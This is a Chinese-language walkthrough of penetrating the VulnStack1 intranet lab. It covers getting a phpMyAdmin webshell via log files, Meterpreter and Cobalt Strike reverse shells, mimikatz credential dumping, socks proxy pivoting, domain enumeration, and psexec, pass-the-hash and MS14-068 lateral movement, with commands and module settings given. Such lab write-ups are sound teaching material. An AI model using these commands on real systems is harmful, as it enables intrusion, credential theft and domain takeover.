本文章是關于內網方面滲透技巧的一個文章,用的環境是VulnStack1,VulnStack是紅日安全團隊出的一個內網滲透的靶機環境,感謝紅日團隊,地址:http://vulnstack.qiyuanxuetang.NET/vuln/detail/2/
主要以該環境講解內網滲透的技術。
拓撲圖如下:
· Web服務器(windows7):192.168.10.14 、192.168.52.143 主機名:stu1
· 域成員主機(Windows Server 2003):192.168.52.141 主機名:root-tvi862ubeh
· 域控(Windows Server 2008):192.168.52.138 主機名:owa
其中,Web服務器的192.168.10.14模擬公網地址,我們可以直接訪問192.168.10.14。但是我們訪問不了192.168.52.0網段。
拿下Web服務器
本文主要是講內網滲透方面,所以關于怎么拿下Web服務器,比較粗略的過。
說下我們對Web服務器的思路吧。在紅藍對抗中,拿到了入口站點,我們首先會想辦法獲取入口點的shell,再以此掛隧道通內網。而拿shell無非是上傳木馬、SQL注入、反序列化。而在很多網站的登錄后臺后,會存在文件上傳漏洞,進而getshell。
訪問Web服務器地址 http://192.168.10.14/yxcms/ ,是一個yxcms的站點。關于yxcms的漏洞,傳送門:代碼審計| yxcms App 1.4.6 漏洞集合
對于yxcms我也不熟悉,之前沒接觸過。拿到目標第一先用御劍掃描下后臺吧
發現phpmyadmin后臺登錄地址:http://192.168.10.14/phpmyadmin/
發現一個壓縮包文件,該文件是網站的壓縮包文件:http://192.168.10.14/beifen.rar
發現phpinfo文件:http://192.168.10.14/phpinfo.php
發現一些比較敏感的目錄,這些目錄都存在目錄遍歷漏洞
- http://192.168.10.14/yxcms/robots.txt
- http://192.168.10.14/yxcms/data/
- http://192.168.10.14/yxcms/public/
- http://192.168.10.14/yxcms/upload/
- http://192.168.10.14/yxcms/protected/
phpmyadmin后臺getshell
對phpmyadmin后臺進行爆破,得到賬號密碼:root/root
進入phpmyadmin后臺后,獲取shell。傳送門:phpmyadmin爆破和后臺getshell
這里由于 secure_file_priv的值為NULL,所以我們不能利用寫into outfile寫木馬getshell。
這里我們利用日志文件Getshell。傳送門:phpmyadmin利用日志文件Getshell
執行以下命令
set global general_log=on; #開啟日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php'; #設置指定文件為網站日志存放文件
SELECT '' #執行該語句,會將該命令寫入日志文件中
最后用菜刀連接,如下。
后滲透第一步
在拿到了Web服務器的權限后,我們就要盡可能多的搜集該服務器的信息,然后搭建隧道通往內網!
執行以下命令我們知道當前的用戶身份是 administrator ,在管理員組中,并且處在域 god 中。該主機有兩張網卡,分別是:192.168.10.14,192.168.52.143。由此可知,其實獲得的這個權限就是域管理員權限。(搞不懂環境為啥要以域管理員賬號登錄,為啥不以本地普通用戶登錄??)
現在我們想反彈一個MSF的shell。將MSF生成的木馬上傳到該主機上,執行,反彈成功!
派生CobaltStrike權限
首先在CobaltStrike上開啟一個監聽
然后在MSF中執行以下操作,我們的CobaltStrike就接收到反彈過來的shell了。
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默認情況下,payload_inject執行之后會在本地產生一個新的handler,由于我們已經有了一個,所以不需要再產生一個,所以這里我們設置為true
set lhost xxxx #cobaltstrike監聽的ip
set lport 14444 #cobaltstrike監聽的端口
set session 1 #這里是獲得的session的id
exploit
獲得System權限
這里由于獲得的直接是adminsitrator權限,所以可以直接提到system。在真實環境中,這里很多時候都是一個普通用戶權限,需要我們去提權。
獲取賬號密碼
1:導出hash
run hashdump
2:導出hash
run windows/gather/smart_hashdump
3:加載 kiwi模塊
這里嘗試加載kiwi模塊,獲取不到賬號密碼
load kiwi
creds_all
4:加載 mimikatz 模塊
再嘗試加載 mimikatz 模塊,加載模塊前需要先將meterpreter遷移到64位的進程,而且該進程也需要是system權限運行的。如圖,成功獲得賬號密碼:administrator/hongrisec@2019
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
遠程桌面登錄
這里我們已經獲得了administrator的賬號和密碼,現在我們既可以使用administrator賬號登錄,也可以新建賬號登錄(hack/Password@)。(不建議直接用administrator身份登錄,因為這樣有可能會驚動管理員)
通過nmap掃描發現該主機的3389端口呈過濾狀態,由此猜想可能是防火墻將該端口過濾了
于是執行以下命令開啟3389端口
run post/windows/manage/enable_rdp
再次探測發現3389端口已是open狀態
嘗試3389遠程登錄該主機,但是彈出如果我們繼續登錄,則會斷開該主機的當前連接。為了不驚動管理員,這里我們不繼續連接了。
添加路由、掛Socks4a代理
傳送門:MSF搭建socks代理
· 添加路由的目的是為了讓我們的MSF其他模塊能訪問內網的其他主機
· 添加socks4a代理的目的是為了讓其他軟件更方便的訪問到內網的其他主機的服務
注:添加路由一定要在掛代理之前,因為代理需要用到路由功能
#添加路由
route add 0.0.0.0 0.0.0.0 1
run print
#添加socks4a代理
use auxiliary/server/socks4a
run
#然后打開/etc/proxychains.conf,加入下面一行
socks4 0.0.0.0 1080
#然后就可以使用nmap了
proxychains nmap -p 21 -Pn -sT x.x.x.x #在打開其他程序前加上proxychains
我們也可以在本機設置socks4代理,指向我們vps的1080端口。那么,我們本地的流量就會交給VPS的1080端口,而1080端口是MSF起的,MSF又添加了到內網的路由,自然我們就可以訪問到內網的主機。
這里我實測用MSF掛的socks4a代理并不穩定,建議實戰環境用 FRP 起的 socks5 代理,這里我為了省事直接用MSF的socks代理。其實新版的MSF也有了socks5代理,不過好像也不是很好用。
域信息收集
net time /domain #查看時間服務器
net user /domain #查看域用戶
net view /domain #查看有幾個域
net group "domain computers" /domain #查看域內所有的主機名
net group "domain admins" /domain #查看域管理員
net group "domain controllers" /domain #查看域控
從域信息收集可以得到以下信息:
· 域:god.org
· 域內有三個用戶:administrator、ligang、liukaifeng01
· 域內有三臺主機:DEV1(不在此環境中)、ROOT-TVI862UBEH(192.168.52.141)、STU1(192.168.52.143)
· 域控:OWA(192.168.52.138)
· 域管理員:administrator
由此可見,我們現在獲得的即是域管理員權限。此環境內還有一臺ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。
內網主機信息收集
我們現在想進行內網橫向滲透,就需要收集更多的信息,內網滲透信息收集是非常重要的一步。
由于我們之前添加了路由信息并且掛了Socks4a代理,所以我們現在可以使用MSF里面的探測模塊以及nmap對內網進行探測。
內網存活主機探測
這一步在域環境滲透中可以省略,因為使用域命令可以直接查詢域中有哪些主機。在非域環境中滲透,可以使用這一步。在這里順帶提一下這個用法。更多的關于使用MSF進行內網探測,傳送門:后滲透階段之基于MSF的內網主機探測
auxiliary/scanner/discovery/udp_sweep #基于udp協議發現內網存活主機
auxiliary/scanner/discovery/udp_probe #基于udp協議發現內網存活主機
auxiliary/scanner/netbIOS/nbname #基于netbios協議發現內網存活主機
內網存活主機端口掃描
1:使用MSF自帶模塊進行端口探測
auxiliary/scanner/portscan/tcp #基于tcp進行端口掃描(默認掃描1-10000)
2:使用 proxychains 代理鏈利用 nmap 對內網主機進行端口探測
內網存活主機服務探測
auxiliary/scanner/ftp/ftp_version #發現內網ftp服務,基于默認21端口
auxiliary/scanner/ssh/ssh_version #發現內網ssh服務,基于默認22端口
auxiliary/scanner/telnet/telnet_version #發現內網telnet服務,基于默認23端口
auxiliary/scanner/DNS/dns_amp #發現dns服務,基于默認53端口
auxiliary/scanner/http/http_version #發現內網http服務,基于默認80端口
auxiliary/scanner/http/title #探測內網http服務的標題
auxiliary/scanner/smb/smb_version #發現內網smb服務,基于默認的445端口
auxiliary/scanner/mssql/mssql_schemadump #發現內網SQLServer服務,基于默認的1433端口
auxiliary/scanner/oracle/oracle_hashdump #發現內網oracle服務,基于默認的1521端口
auxiliary/scanner/MySQL/mysql_version #發現內網mysql服務,基于默認3306端口
auxiliary/scanner/rdp/rdp_scanner #發現內網RDP服務,基于默認3389端口
auxiliary/scanner/redis/redis_server #發現內網Redis服務,基于默認6379端口
auxiliary/scanner/db2/db2_version #探測內網的db2服務,基于默認的50000端口
auxiliary/scanner/netbios/nbname #探測內網主機的netbios名字
經過了以上幾步,我們就可以大致判斷內網存活的主機、主機開放的端口以及服務這些基本信息了。
內網橫向滲透攻擊技巧
在對內網主機進行信息收集后,接下來我們就是要對內網主機發動攻擊了。內網攻擊方法有下面這些。
MS17-010
永恒之藍在內網滲透中是屢試不爽的,基本上一打一大片。但是MS17-010在實際紅藍對抗滲透中(通過代理打內網)并不好利用,MSF中自帶的模塊要打很多次才能成功一次,而且MSF自帶的模塊打sever2003的機器很容器藍屏。注意這里的payload必須設置為正向連接 bind_tcp。
如下,第一次打就沒打成功。
CVE-2019-0708
該漏洞是今年爆出的一個windows RDP協議的漏洞,但是測了一下,發現該主機不存在該漏洞。另外,該漏洞成功率也不高,而且極有可能把目標機打成藍屏的結果。所以在真實紅藍對抗中不建議使用該漏洞,除非有百分百的把握能打成功。
psexec攻擊
我們已經獲得了域管理員 god/administrator 的賬號密碼,我們現在可以使用該域管理員賬號密碼利用 psexec 登錄域內任何一臺開啟了admin$共享(該共享默認開啟) 的主機。
注:由于提示需要修改密碼,所以已將 god/administrator 的密碼改為 Password@ 。
psexec.exe \192.168.52.138 -u godadministrator -p Password@ cmd
但是在連接 Server2003服務器 的時候出了點小問題,提示服務沒有及時響應啟動或控制請求。
哈希傳遞攻擊
在域環境內,只有獲得了域管理員的哈希才可以攻擊。這里假設我們得到了域管理員administrator的哈希,但是沒有得到明文密碼。在這里我們就可以用哈希傳遞攻擊了。
在前面獲得了域管理員 administrator 的NTLM哈希為:c456c606a647ef44b646c44a227917a4
sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4
MS14-068
MS14-068漏洞適用于當我們獲得了普通域用戶的哈希,域控存在MS14-068漏洞的場景。我們現在想利用獲得了普通域用戶哈希去訪問域控。
但是這里我們是直接獲得了域管理員的哈希,這里只是演示下MS14-068漏洞的攻擊手法
先獲取需要利用的域用戶的SID值
#生成票據TGT_administrator@god.org.ccache
MS14-068.exe -u administrator@god.org -p Password@ -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138 #MS14-068.exe -u 域用戶@dog.org -p 域用戶密碼 -s 域用戶的SID -d 域控ip
#在mimikatz中導入票據
kerberos::ptc TGT_administrator@god.org.ccache的路徑
然后再打開一個cmd窗口嘗試訪問域控
dir \192.168.52.138c$
原文鏈接:https://www.anquanke.com/post/id/235101